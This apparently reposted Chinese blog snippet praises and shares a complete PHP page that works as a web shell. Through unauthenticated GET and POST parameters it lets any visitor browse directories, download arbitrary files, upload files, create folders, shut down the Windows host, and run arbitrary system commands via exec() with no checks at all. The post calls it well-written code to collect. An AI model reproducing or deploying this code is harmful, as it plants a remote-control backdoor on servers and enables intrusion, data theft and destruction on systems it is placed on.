一段很不错的代码,写得也很工整,收集一下。
<?php $fp = ''; $path = ''; if(empty($_GET['action'])){ if(empty($_GET['path'])){ $_path = dirname(__FILE__); }else{ if(is_dir($_GET['path'])){ $_path = $_GET['path']; }else{ $_path .= dirname($_GET['path']); $file_name = $_GET['path']; if (!file_exists($file_name)) { //检查文件是否存在 echo "文件找不到"; } else { $file = fopen($file_name,"r"); // 打开文件 // 输入文件标签 Header("Content-type: application/octet-stream"); Header("Accept-Ranges: bytes"); Header("Accept-Length: ".filesize($file_name)); Header("Content-Disposition: attachment; filename=" . str_replace(array(dirname($_GET['path']),'/'),'',$file_name)); // 输出文件内容 echo fread($file,filesize($file_name)); fclose($file); exit; } } } }else if($_GET['action'] == 'close'){ $time = intval($_GET['time']) > 0 ? intval($_GET['time']) : $_GET['time']; exec('shutdown -s -t '.$time); $_path = $_GET['path']; }else if($_GET['action'] == 'cancel'){ exec('shutdown -a'); $_path = $_GET['path']; }else if($_GET['action'] == 'mkdir'){ $_path = $_GET['path']; $name = $_GET['name']; $_path .= $name; mkdir($_path); }else if($_GET['action'] == 'upload'){ $_path = $_POST['path']; $name = $_FILES['name']; move_uploaded_file($name['tmp_name'],$_path . $name['name'] ); }else if($_GET['action'] == 'ord'){ $_path = $_GET['path']; $name = $_GET['name']; exec($name); } $dir = dir($_path); ?> <table width="100%" border=1 > <tr> <th colspan=3> <form method="get" action="" > 目录:<input type="text" name="path" value="<?php echo $_path ?>" /> <input type="submit" value="跳转" /> </form> <input type="text" value="100" id="time">秒 <input type="button" value="关机" onclick="location.href='?time='+document.getElementById('time').value+'&action=close&path=<?php echo $fp == '..' ? @str_replace('\\','/',@dirname($_path)) : @str_replace('\\','/',$_path.'/'.$fp); ?>'" /> <input type="button" value="取消关机" onclick="location.href='?action=cancel&path=<?php echo $fp == '..' ? @str_replace('\\','/',@dirname($_path)) : @str_replace('\\','/',$_path.'/'.$fp); ?>'" /> <form method="get" action="" > 创建目录:<input type="text" name="name" value="" /> <input type="hidden" name="path" value="<?php echo $fp == '..' ? @str_replace('\\','/',@dirname($_path)) : @str_replace('\\','/',$_path.'/'.$fp); ?>" /> <input type="hidden" name="action" value="mkdir"> <input type="submit" value="创建" /> </form> <form method="get" action="" > 执行命令:<input type="text" name="name" value="" /> <input type="hidden" name="path" value="<?php echo $fp == '..' ? @str_replace('\\','/',@dirname($_path)) : @str_replace('\\','/',$_path.'/'.$fp); ?>" /> <input type="hidden" name="action" value="ord"> <input type="submit" value="创建" /> </form> <form method="post" action="?action=upload" enctype="multipart/form-data" > 文件上传:<input type="file" name="name" value="" /> <input type="hidden" name="path" value="<?php echo $fp == '..' ? @str_replace('\\','/',@dirname($_path)) : @str_replace('\\','/',$_path.'/'.$fp); ?>" /> <input type="submit" value="上传" /> </form> </th> </tr> <?php while($fp = $dir->read()){ ?> <tr> <td><a href="?path=<?php echo $fp == '..' ? @dirname($_path) : $_path.'/'.$fp; ?>"><?php echo $fp ?></a></td> <td>删除</td> <td>下载</td> </tr> <?php } ?> </table>
http://blog.ddian.cn/?post=980